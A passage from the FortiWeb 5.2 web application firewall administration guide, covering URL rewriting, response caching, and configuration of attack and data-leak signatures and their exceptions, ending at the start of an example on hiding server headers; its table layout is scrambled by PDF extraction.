— The text that matched the first capture group (.*). In this case, because the object is the Host: field, the matching text is the host name, www.example.com.
•
$1
— The text that matched the second capture group, which is also (.*). In this case, because the object is the request URL, the matching text is the file path, news/local.
Table 42: Example URL rewrites using regular expressions
Replacement URL Result Example request URL Rewriting
Condition Table
www.example.com
HTTP Host
(.*)
Host
$0 www.example.com
Fortinet 397 FortiWeb 5.2 Patch 2 Administration Guide
Table 42: Example URL rewrites using regular expressions
Example request URL Rewriting
Condition Table
/news/local.asp
Replacement URL Result
HTTP URL
/(.*)\.asp
URL
/$1.php
/news/local.php
See also
•
•
Example: Rewriting URLs using regular expressions
•
Example: HTTP-to-HTTPS redirect
•
•
•
Fortinet 398 FortiWeb 5.2 Patch 2 Administration Guide
Caching
To improve performance of your back-end network and servers by reducing their traffic and processing load, you can configure FortiWeb to cache responses from your servers.
Normally, FortiWeb forwards all allowed requests to your servers. This results in a 1:1 ratio of client-side to server-side traffic. When content caching is enabled, however, FortiWeb will forward only requests for content that:
• does not exist in its cache, and
• is cacheable (see
“What can be cached?” on page 404 )
When many requests are for cached content, the ratio of traffic changes to n:1.
Fortinet
Content caching provides the greatest benefit for things that rarely change, such as icons, background images, movies, PDFs, and static HTML.
To configure web content caching
Response caching is not supported on FortiWeb 400B due to limited available memory.
1. If you want to cache all URLs except for a few, go to Application Delivery > Caching >
Web Cache Exception. Otherwise, skip to step
2. Click Create New.
399 FortiWeb 5.2 Patch 2 Administration Guide
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Click OK.
5. Click Create New.
6. Configure these settings. (You can omit items from the cache by matching the request URL, its cookie name, or both. Some URLs may not require exceptions because they inherently cannot be cached. For details, see
“What can be cached?” on page 404
.)
Fortinet
Setting name
Host
Host Status
Type
Description
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the exception.
This option is available only if Host Status is enabled.
Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match the exception. Also configure Host.
Indicate whether
is a Simple String (that is, a literal
URL) or a Regular Expression.
400 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
URL Pattern
Cookie Name
Description
Depending on your selection in
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the rule. The URL must begin with a slash ( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs to which the rule should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Tip: Generally, URLs that require autolearning adapters do not work well with caching either. Dynamic URLs that contain variables such as user names (e.g. older versions of Microsoft OWA) or volatile data such as parameters usually should not be cached.
Because FortiWeb is unlikely to receive identical subsequent requests for them, dynamic URLs can rapidly consume cache without improving performance.
Type the name of the cookie, such as sessionid, as it appears in the Cookie: HTTP header.
Tip: Content that is unique to a user, such as personalized pages that appear after a person has logged in, usually should not be cached. If the web application’s authentication is cookie-based, configure this setting with the name of the authentication cookie.
Otherwise, if it is parameter-based, configure the exception with a
URL pattern that matches the authentication ID parameter.
7. Click OK.
8. Repeat the previous steps for each entry that you want to add to the exception.
9. Go to Application Delivery > Caching > Web Cache Policy.
10.Click Create New.
401 FortiWeb 5.2 Patch 2 Administration Guide
11.Configure these settings, then click OK:.
Fortinet
Setting name
Host
Cache Size
Maximum Cached
Page Size
Default Cache
Timeout
Exception
Description
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the policy.
This option is available only if Host Status is enabled.
Type the maximum size in megabytes (MB) of RAM to allocate to caching content.
Storing cached content to FortiWeb’s hard disk is not supported.
Tip: For improved performance, adjust this setting until it is as small as possible yet FortiWeb can still fit most graphics and server processing-intensive pages into its cache. This allows FortiWeb to allocate more RAM to other features that also affect throughput, such as scanning for attacks.
Type the maximum size in kilobytes (KB) of each URL that FortiWeb will cache. Objects such as high-resolution images, movies, or music that are larger than this limit will not be cached.
Tip: For improved performance, adjust this setting until FortiWeb can fit most graphics and server processing-intensive pages into its cache.
Type the time to live for each entry in the cache. Expired entries will be removed.
A subsequent request for the URL will cause FortiWeb to forward the request to the server in order to cache the response again. Any additional requests will receive FortiWeb’s cached response until the URL’s cache timeout occurs.
Select a list of exceptions, if any, to this list of cached URLs.
402 FortiWeb 5.2 Patch 2 Administration Guide
12.To automatically cache all URLs except for those in Exception, skip to step
to manually specify which URLs to cache, click Create New. (Do this, for example, if you want to cache only a few URLs.)
13.Configure these settings, then click OK:
Fortinet
Setting name
Host
Host Status
Type
URL Pattern
Description
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the policy.
This option is available only if Host Status is enabled.
Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match the policy. Also configure Host.
Indicate whether
is a Simple String (that is, a literal
URL) or a Regular Expression.
Depending on your selection in
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the policy. The URL must begin with a slash ( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs to which the policy should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
14.Repeat the previous steps for each URL that you want to cache.
Omitting a URL from the table is equivalent to creating an exception: if the table is not empty, FortiWeb will only cache URLs that you list in this table.
15.To apply the rewriting policy, select it in an inline protection profile. For details, see
“Configuring a protection profile for inline topologies” on page 492
.
403 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
What can be cached?
Caching works best with data that does not change. Static web pages, images, movies, and music all typically work well.
When content changes often, caching provides overhead by consuming RAM without its usual benefit of reduced latency. Some HTTP headers and other factors indicate dynamic content which FortiWeb will not cache.
FortiWeb will not cache responses if the request:
• Methods is not GET (e.g. responses to POST are not cached)
• Contains the header:
•
Authorization:
•
Proxy-Authorization:
• If-Modified-Since
• If-Unmodified-Since
• If-Match
• If-None-Match
FortiWeb also will not cache if the response:
• Has a Set-Cookie: field
• Has a Vary: field
• Forbids caching (e.g. Cache-Control: no-cache/no-store/private)
• Has no Content-Length: field (e.g. Connection:close and Transfer-Encoding: chunked
)
• Has no cache expiry tag (e.g. Last-Modified/Etag and Cache-Control/Expires)
Fortinet 404 FortiWeb 5.2 Patch 2 Administration Guide
Blocking known attacks & data leaks
Many attacks and data leaks can be detected by FortiWeb using signatures. Enable signatures to defend against many attacks in the OWASP Top 10 , plus more:
• cross-site scripting (XSS)
• SQL injection and many other code injection styles
• remote file inclusion (RFI)
• local file inclusion (LFI)
• OS commands
• trojans/viruses
• exploits
• sensitive server information disclosure
• credit card data leaks
FortiWeb scans:
• parameters in the URL of HTTP GET requests
• parameters in the body of HTTP POST requests
•
XML in the body of HTTP POST requests (if
• cookies
In addition to scanning standard requests, FortiWeb can also scan XML And Action Message
Format 3.0 (AMF3) serialized binary inputs used by Adobe Flash clients to communicate with
server-side software. For more information, see
Enable AMF3 Protocol Detection
(for inline protection profiles) or
Enable AMF3 Protocol Detection
(for offline protection profiles).
Known attack signatures can be updated. For information on uploading a new set of attack definitions, see
“Uploading signature & geography-to-IP updates” on page 155
and Connecting to FortiGuard services
. You can also create your own. See
“Defining custom data leak & attack signatures” on page 419
.
Each server protection rule can be configured with the severity and notification settings
(“trigger”) that, in combination with the action, determines how each violation will be handled.
For example, attacks categorized as cross-site scripting and SQL injection could have the action
set to alert_deny, the severity set to High, and a trigger set to deliver an alert email each time these rule violations are detected. Specific signatures in those categories, however, might be disabled, set to log/alert instead, or exempt requests to specific host names/URLs.
To configure a signature rule
1. Before you create a signature rule, create custom signatures, if any, that you will add to the rule (see
“Defining custom data leak & attack signatures” on page 419 ).
3. Go to Web Protection > Known Attacks > Signatures.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
405 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
4. Click Create New.
A dialog appears.
5. Configure these settings:
Fortinet 406 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Name
Action
(column)
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
In each row, select which action the FortiWeb appliance will take when it detects a violation of the rule. Supported options vary
(available options are listed in the description for each specific rule), but may include:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
• Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure
.
Fortinet 407 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Block Period
(column)
Description
• Send 403 Forbidden — Reply to the client with an HTTP 403
Access Forbidden
error message and generate an alert email and/or log message.
• Pass — Allow the request. Do not generate an alert email and/or log message.
• Continue — Generate an alert and/or log message, then continue by evaluating any subsequent rules defined in the web
protection profile (see “Sequence of scans” on page 21
). If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages and/or alert email.
• Alert & Erase — Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, and generate an alert email and/or log message.
Caution:
This option is not fully supported in offline protection mode. Only an alert and/or log message can be generated; sensitive information cannot be blocked or erased.
• Erase, no Alert — Hide sensitive information in replies from the web server (sometimes called “cloaking”). Block the request or remove the sensitive information, but do not generate an alert email and/or log message.
Caution:
This option is not supported in offline protection mode.
The default value is Alert. See also
“Reducing false positives” on page 657
.
Caution:
This setting will be ignored if
is enabled.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
In each row, type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639 .
408 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Severity
(column)
Trigger Action
(column)
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. In each row, select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
In each row, select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of each rule. See
“Configuring triggers” on page 587
.
Cross Site Scripting
Enable to prevent a variety of cross-site scripting (XSS) attacks, such as some varieties of CSRF (cross-site request forgery).
All of this attack’s signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box.
Attack log messages contain Cross Site Scripting and the subtype and signature ID (for example, Cross Site Scripting
: Signature ID 010000063
) when this feature detects a possible attack.
In the
column, select that the FortiWeb will do when it
detects this type of attack:
• Alert
• Alert & Deny
• Period Block
• Redirect
• Send 403 Forbidden
Cross Site Scripting
(Extended)
Enable to prevent a variety of XSS attacks.
Unlike
Cross Site Scripting
, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. I if one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
409 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
SQL Injection
SQL Injection
(Extended)
Generic Attacks
Description
Enable to prevent SQL injection attacks, such as blind SQL injection.
All of this attack’s signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box.
Attack log messages contain SQL Injection and the subtype and signature ID (for example, SQL Injection : Signature
ID 030000010
) when this feature detects a possible attack.
In the
column, select that the FortiWeb will do when it
detects this type of attack:
• Alert
• Alert & Deny
• Period Block
• Redirect
• Send 403 Forbidden
Enable to prevent a variety of SQL injection attacks.
Unlike
SQL Injection
, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
Enable to prevent other common exploits, including a variety of injection threats that do not use SQL, such as local file inclusion
(LFI) and remote file inclusion (RFI).
All of this attack’s signatures are automatically enabled when you enable detection. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box.
Attack log messages contain Generic Attacks and the subtype and signature ID (for example, Generic Attacks-Command
Injection : Signature ID 050050030
) when this feature detects a possible attack.
In the
column, select that the FortiWeb will do when it
detects this type of attack:
• Alert
• Alert & Deny
• Period Block
• Redirect
• Send 403 Forbidden
410 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Generic Attacks
(Extended)
Trojans
Description
Enable to prevent a variety of exploits and attacks.
Unlike
Generic Attacks
, the extended signatures are more likely to cause false positives. However, they may be necessary in specific, high-security data centers. If one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature.
Enable to scan for trojans, viruses, malware, and greyware. You
must also configure a file upload restriction where you enable
Antivirus Scan
(see
“Limiting file uploads” on page 475
).
Attack log messages contain the file name and signature ID (for example, filename [eicar.com] virus name
[EICAR_TEST_FILE]: Waf anti-virus
) when this feature detects a possible virus.
In the
column, select that the FortiWeb will do when it
detects this type of attack:
• Alert
• Alert & Deny
• Period Block
• Redirect
• Send 403 Forbidden
To configure which database of signatures to use, select either
(see
“Choosing the virus signature database & decompression buffer” on page 147
).
Caution:
Files greater than the scan buffer configured in
are too large for FortiWeb to decompress, and will pass through without being scanned. This could allow
malware to reach your web severs. To block oversized files, you
must configure
Body Length
.
Caution:
To remain effective as new malware emerges, it is vital that your FortiWeb can connect to FortiGuard services to regularly update its engine and signatures. Failure to do so will cause this feature to become less effective over time, and may allow viruses to pass through your FortiWeb. For instructions on how to verify connectivity and enable automatic updates, see
FortiGuard services” on page 143
.
411 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Information
Disclosure
Description
Enable to detect server error messages and other sensitive messages in the HTTP headers, such as CF Information Leakage
(Adobe ColdFusion server information).
All of this attack’s signatures are automatically enabled when you enable detection. However, if one of the signatures is causing false positives and you need to instead configure a custom attack signature that will not cause false positives, you can individually disable that signature. To disable a specific signature, click the blue arrow to expand the list, then clear that signature’s check box.
Error messages, HTTP headers such as
Server: Microsoft-IIS/6.0
, and other messages could inform attackers of the vendor, product, and version numbers of software running on your web servers, thereby advertising their specific vulnerabilities.
Sensitive information is detected according to fixed signatures.
Attack log messages contain Information Disclosure and the subtype and signature (for example, Information
Disclosure-HTTP Header Leakage : Signature ID
080200001
) when this feature detects a possible leak.
In the
column, select that the FortiWeb will do when it
detects this type of vulnerability:
•
Alert
Note:
Does not cloak, except for removing sensitive headers.
(Sensitive information in the body remains unaltered.)
• Alert & Erase — Hide replies with sensitive information
(sometimes called “cloaking”). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message.
If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code.
Note:
This option is not fully supported in offline protection mode. Effects will be identical to Alert; sensitive information will not be blocked or erased.
• Period Block
• Redirect
412 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Bad Robot
Description
Tip:
Some attackers use 4XX and 5XX HTTP response codes for web site reconnaissance when identifying potential targets: to determine whether a page exists, has login failures, is Not
Implemented, Service Unavailable, etc. Normally, the FortiWeb appliance records attack logs for 4XX and 5XX response codes, but
HTTP response codes are also commonly innocent, and too many
HTTP response code detections may make it more difficult to notice other information disclosure logs. To disable response code violations, disable both the HTTP Return Code 4XX and HTTP
Return Code 5XX options in this rule’s area.
Tip:
Because this feature can potentially require the FortiWeb appliance to rewrite the header and body of every request from a server, it can decrease performance. To minimize impact, Fortinet recommends enabling this feature only to help you identify information disclosure through logging, and until you can reconfigure the server to omit such sensitive information.
Enable to analyze the User-Agent: HTTP header and block known content scrapers, spiders looking for vulnerabilities, and other typically unwanted automated clients.
FortiWeb predefined signatures for many well-known robots, such as link checkers, search engine indexers, spiders, and web crawlers for Google, Baidu, and Bing, which you can use to restrict access by Internet robots such as web crawlers, as well as malicious automated tools.
Search engines, link checkers, retrievals of entire web sites for a user’s offline use, and other automated uses of the web (sometimes called robots, spiders, web crawlers, or automated user agents) often access web sites at a more rapid rate than human users.
However, it would be unusual for them to request the same URL within that time frame.
Usually, web crawlers request many different URLs in rapid sequence. For example, while indexing a web site, a search engine’s web crawler may rapidly request the web site’s most popular URLs. If the URLs are web pages, it may also follow the hyperlinks by requesting all URLs mentioned in those pages. In this way, the behavior of web crawlers differs from a typical brute force login attack, which focuses repeatedly on one URL.
Some robots, however, are not well-behaved. You can request that robots not index and/or follow links, and disallow their access to specific URLs (see http://www.robotstxt.org/ ). However, misbehaving robots frequently ignore the request, and there is no single standard way to rate-limit robots.
To verify that bad robot detection is being applied, attempt to download a web page using wget , which is sometimes used for content scraping.
413 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Credit Card
Detection
Description
Enable to detect credit card numbers in the response from the server. Also configure
Credit Card Detection Threshold
.
Credit card numbers being sent from the server to the client, especially on an unencrypted connection, constitute a violation of
PCI DSS. In most cases, the client should only receive mostly-obscured versions of their credit card number, if they require it to confirm which card was used. This prevents bystanders from viewing the number, but also reduces the number of times that the actual credit card number could be observed by network attackers.
For example, a web page might confirm a transaction by displaying a credit card number as:
XXXX XXXX XXXX 1234
This mostly-obscured version protects the credit card number from unnecessary exposure and disclosure. It would not trigger the credit card number detection feature.
However, if a web application does not obscure displays of credit card numbers, or if an attacker has found a way to bypass the application’s protection mechanisms and gain a list of customers’ credit card numbers, a web page might contain a list with many credit card numbers in clear text. Such a web page would be considered a data leak, and trigger credit card number disclosure detection.
Attack log messages contain Credit Card Detection and the subtype and signature (for example, Credit Card Detection :
Signature ID 100000001
) when this feature detects a credit card disclosure.
In the
column, select that the FortiWeb will do when it
detects this type of attack:
• Alert
• Alert & Deny
• Alert & Erase
• Period Block
Credit Card
Detection Threshold
Type 0 to report any credit card number disclosures, or enter a threshold if the web page must contain a number of credit cards that equals or exceeds the threshold in order to trigger the credit card number detection feature.
For example, to ignore web pages with only one credit card number, but to detect when a web page containing two or more credit cards, enter 2.
Custom Signature
Group
Select a custom signature group to use, if any. For details, see
“Defining custom data leak & attack signatures” on page 419 .
Attack log messages contain Custom Signature Detection and the name of the individual signature when this feature detects an attack.
To view and/or edit the custom signature set, click the Detail link.
The Edit Custom Signature Group dialog appears.
414 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. Click OK.
7. If you enabled
Information Disclosure
Credit Card Detection
, configure a decompression rule. See
“Configuring temporary decompression for scanning & rewriting” on page 484
.
Failure to configure a decompression rule, or, for HTTPS requests, to provide the server’s x.509 certificate in either
or
, will result in FortiWeb being unable to scan requests. This effectively disables those features.
8. To apply the signature rule, select it in an inline protection profile or an offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492 or
).
9. To verify your configuration, attempt a request that should be detected and/or blocked by your configuration.
Instead of actually executing the exploit or uploading a virus, attempt a harmless script with similar syntax, or upload an EICAR file. Alternatively, test your configuration in a non-production environment.
If detection fails:
• Verify that routing and TCP/IP-layer firewalling does not prevent connectivity.
• Verify that your simulated attack operates on either the HTTP header or HTTP body, whichever component is analyzed by that feature.
• If the feature operates on the HTTP body, verify that http-cachesize is large enough, or that you have configured to
Body Length
block requests that exceed the buffer limit.
For details, see the
FortiWeb CLI Reference
.
If the HTTP body is compressed, verify that
enough, or that you have configured to
Body Length
block requests that exceed the buffer limit.
• If you enabled
, verify that you have also configured its configuration
dependencies (see “Limiting file uploads” on page 475 ).
• If the feature operates on the parameters in the URL line in the HTTP headers, verify that the total parameter length (after URL decoding, if required — configure
) is not larger than the buffer size of
Total URL and Body Parameters Length
or
Total URL Parameters Length
.
10.If normal input for some URLs accidentally matches a signature, either create and use a
).
415 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Finding signatures that are disabled or “Alert Only”
•
Configuring action overrides or exceptions to data leak & attack detection signatures
•
•
•
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
•
Configuring action overrides or exceptions to data leak & attack detection signatures
You can configure FortiWeb to omit attack signature scans in some cases. You can also configure the signature to only log/alert instead of blocking the attack.
Exceptions may be useful if you know that some URLs, during normal use, will cause false positives by matching an attack signature. Signature exceptions define request URLs that will
not be subject to signature rules.
For example, if the HTTP POST URL /pageupload should accept input that is PHP code, but it is the only URL on the host that should do so, you would create an exception that, in the PHP
Injection category, disables that specific signature ID for the URL /pageupload in the signature rule that normally would block all injection attacks.
If you are not sure which exceptions are advisable, examine your attack log for attack log messages generated by normal traffic on servers that are not actually vulnerable to that attack.
You can click the Add Exception link directly in the attack log message display to create an exception.
Figure 48:Disabling signatures or adding exceptions while viewing the attack log
Fortinet 416 FortiWeb 5.2 Patch 2 Administration Guide
To configure a signature exception, action override, or disable a signature
1. Go to Web Protection > Known Attacks > Signatures.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click the row corresponding to an existing signature rule for which you need to individually disable one or more signatures.
A dialog appears.
Fortinet
3. Click Advanced Mode.
4. Click Create New.
A dialog appears.
5. In the signature tree on the left, click to open the signature category where you need to disable a specific signature. When you have selected an individual sub-category, a list of individual signature IDs in it will appear in the pane to the right.
6. Click the row of the signature ID that you need to disable.
When selected, the signature row will be highlighted in blue.
7. If you want to disable the signature for this rule, or globally, right-click the signature’s row and select the corresponding option.
8. If you want to receive only logs or alert email about detections, but do not want to block matching requests, in the Signature tab, mark the Alert Only check box.
9. If you want to exempt specific host name/URL combinations, in the pane on the right side, click the Exception tab.
417 FortiWeb 5.2 Patch 2 Administration Guide
10.Configure these settings:
Fortinet
Setting name
Host
Host Status
Type
Request URL
Description
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the signature exception.
This option is available only if Host Status is enabled.
Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match the signature exception. Also configure Host.
Indicate whether
is a Simple String (that is, a literal
URL) or a Regular Expression.
Depending on your selection in
• the literal URL, such as /causes-false-positives.php, that the HTTP request must contain in order to match the signature exception. The URL must begin with a slash ( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs to which the signature exception should apply. The pattern does not require a slash ( / ); however, it must at match
URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
11.Click Add.
12.Repeat the previous steps for each entry that you want to add to the signature exception.
418 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Blocking known attacks & data leaks
•
Finding signatures that are disabled or “Alert Only”
Finding signatures that are disabled or “Alert Only”
After you have disabled or overridden the actions of some individual signatures to be Alert Only, if you need to find them again nd change those settings, you can do this quickly by filtering the list of signatures via Filters > Disabled or Filters > Alert Only in the navigation tree on the left.
For example, to display a list of all signatures whose Alert Only check box is marked, click the
Alert Only item in the tree. You can then quickly unmark these check boxes for multiple signatures to begin blocking again rather than only logging.
See also
•
Blocking known attacks & data leaks
•
Configuring action overrides or exceptions to data leak & attack detection signatures
Defining custom data leak & attack signatures
Custom signatures can be attack signatures and/or data leak signatures.
If the predefined regular expressions cause false positives or do not match what you need, you can configure your own. This gives you the flexibility to define your own special types of personally identifiable information, as well as zero-day attacks.
Signatures should be crafted carefully to avoid performance issues inherent in regular expressions that use recursion (see
“Regular expression performance tips” on page 648
).
Fortinet 419 FortiWeb 5.2 Patch 2 Administration Guide
To configure a custom signature
1. Go to Web Protection > Known Attacks > Custom Signature.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New, then configure these settings:
Fortinet
Setting name
Name
Direction
Case Sensitive
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select which the expression will be applied to, either:
• Request —
•
will be a server information disclosure
signature.
Enable to differentiate sensitive information according to upper case and lower case letters.
For example, when this option is enabled, an HTTP request involving tomcat would not match a sensitive information signature that specifies Tomcat (difference is lower case “t”).
420 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Expression
Action
Description
Depending on your selection in
that matches either:
• an attack from a client
• server information disclosure from the server
To prevent false positives, it should not match anything else. The maximum length is 2,071 characters.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
For an example signature and tips on how to prevent evasive
attacks, see “Example: Sanitizing poisoned HTML” on page 393 .
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
Note:
If
is Data Leakage, does not cloak, except for
removing sensitive headers. (Sensitive information in the body remains unaltered.)
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message. This option is applicable only if
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Alert & Erase — Hide replies with sensitive information
(sometimes called “cloaking”). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message. This option is applicable only if
If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code.
Note:
This option is not fully supported in offline protection mode. Effects will be identical to Alert; sensitive information will not be blocked or erased.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
421 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Block Period
Severity
Trigger Action
Description
• Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message.
Also configure
.
This option is available only if
is Signature Creation.
• Send 403 Forbidden — Reply with an HTTP 403 Access
Forbidden
error message and generate an alert and/or log message.This option is available only if
Leakage.
The default value is Alert.
Attack log messages contain Custom Data Leakage
Violation: <rule_name>
or Custom Signature Creation
Violation: <rule_name>
(depending on your configuration of
) when this feature detects a possible attack.
Caution:
This setting will be ignored if
is enabled.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639 .
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Monitoring currently blocked IPs” on page 639
.
3. Click OK.
4. Click Add Target.
5. From Available Target, select which locations in the HTTP request (e.g. ARGS_NAMES for the names of parameters or REQUEST_COOKIES for strings in the HTTP Cookie: header) will be scanned for a signature match, then click the right arrow to move them into the Search In area.
422 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. Click OK twice.
7. Repeat this procedure for each individual rule that you want to add.
8. Click OK to save your custom signature.
9. Go to Web Protection > Known Attacks > Custom Protection Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
10.Click Create New to create a new group of custom signatures. (Alternatively, to add your custom signature to an existing set, edit that set.)
A dialog appears.
Clear all
Edit
Delete
11.In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
12.Click OK.
13.Click Create New to include individual rules in the set.
A dialog appears.
14.From the Custom Signature drop-down list, select the specific custom signature to add to the group.
To view or change information associated with the custom signature, select the Detail link.
The Edit Custom Signature dialog appears. You can view and edit the rules. Use the browser
Back button to return.
15.Click OK.
16.Repeat the previous steps for each individual rule that you want to add to the custom signature set.
17.Group the custom signature set in a signature rule (see
“Blocking known attacks & data leaks” on page 405 ).
423 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Example: ASP .Net version & other multiple server detail leaks
•
•
Example: Local file inclusion fingerprinting via Joomla
•
Example: Sanitizing poisoned HTML
•
Blocking known attacks & data leaks
Example: ASP .Net version & other multiple server detail leaks
Example.com is a cloud hosting provider. Because it must offer whatever services its customers’ web applications require, its servers run a variety of platforms — even old, unpatched versions with known vulnerabilities that have not been configured securely.
Unfortunately, these platforms advertise their presence in a variety of ways, identifying weaknesses to potential attackers. HTTP headers are one way that web server platforms are easily fingerprinted. Example.com wants to remove unnecessary headers that provide server details to clients in order to make it harder for attackers to fingerprint their platforms and craft successful attacks. Specifically, it wants to erase these HTTP response headers:
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 3.0
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
To do this, Example.com writes 3 custom signatures, one to match and erase the contents of each header (but not the header’s key), and includes these custom signatures in the signature set used by the protection profile:
Setting name
Value
Signature creation
